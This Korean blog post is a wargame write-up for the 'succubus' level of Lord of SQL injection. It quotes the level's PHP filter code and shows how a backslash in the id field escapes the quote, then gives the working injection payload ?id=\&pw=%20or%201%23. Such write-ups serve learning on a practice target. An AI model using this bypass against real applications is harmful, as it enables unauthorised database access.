본문 바로가기

WarGame/Web

[Lord of SQL injection] succubus

소스코드 분석

if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

if(preg_match('/\'/i', $_GET[id])) exit("HeHe");

if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");

$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";


zombie_assassin 문제와 정말 흡사한데 ereg가 아닌 preg_match로 필터링 하고있다.

싱글쿼터를 무효화 시켜야하는데 id 부분에 \가 들어가면


"select id from prob_succubus where id='\' and pw='{$_GET[pw]}'"

빨간색 부분이 문자열이 된다.


"select id from prob_succubus where id='\' and pw='{$_GET[pw]}'"

이부분이 id 값이 되고 뒤에 pw 부분을 이용해서 문제를 풀면된다.


?id=\&pw=%20or%201%23

id=\&pw= or 1%23





'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] xavis  (0) 2017.06.01
[Lord of SQL injection] nightmare  (0) 2017.05.28
[Lord of SQL injection] zombie_assassin  (0) 2017.05.28
[Lord of SQL injection] assassin  (0) 2017.05.28
[Lord of SQL injection] giant  (0) 2017.05.28